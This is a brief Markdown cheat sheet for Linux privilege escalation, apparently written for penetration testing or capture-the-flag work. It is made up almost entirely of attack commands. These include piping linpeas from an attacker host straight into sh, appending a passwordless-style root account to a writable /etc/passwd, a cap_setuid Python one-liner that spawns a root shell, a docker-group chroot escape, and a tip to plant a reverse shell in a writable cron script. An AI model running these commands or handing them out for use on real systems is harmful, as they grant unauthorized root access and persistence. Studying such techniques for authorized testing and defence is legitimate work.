# Linux privesc ## Auto-enum ```sh ./linpeas.sh | tee linpeas.txt # serve from attacker: python3 -m http.server 80 ; on target: curl http://$LHOST/linpeas.sh|sh ``` ## Quick manual checks ```sh id; sudo -l # sudo rights (GTFOBins!) find / -perm -4000 -type f 2>/dev/null # SUID binaries getcap -r / 2>/dev/null # capabilities cat /etc/crontab; ls -la /etc/cron.* # cron jobs ps aux --forest # running as root? uname -a; cat /etc/os-release # kernel / distro (exploits) ss -tlnp # internal services to pivot ``` ## Common wins | Finding | Exploit | |---------|---------| | `sudo -l` allows a binary | check **GTFOBins** for that binary | | SUID `find/vim/nmap/...` | GTFOBins SUID section | | writable `/etc/passwd` | add root user with `openssl passwd` hash | | writable cron script | drop a reverse shell, wait | | `cap_setuid` on python/perl | `python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'` | | docker group | `docker run -v /:/mnt -it alpine chroot /mnt sh` | ## Writable /etc/passwd ```sh openssl passwd -1 -salt x pass # -> $1$x$... echo 'r00t:$1$x$...:0:0::/root:/bin/bash' >> /etc/passwd su r00t ``` ## Spawn after escalation ```sh echo 'int main(){setuid(0);system("/bin/bash");}' # for writable SUID-owned source ```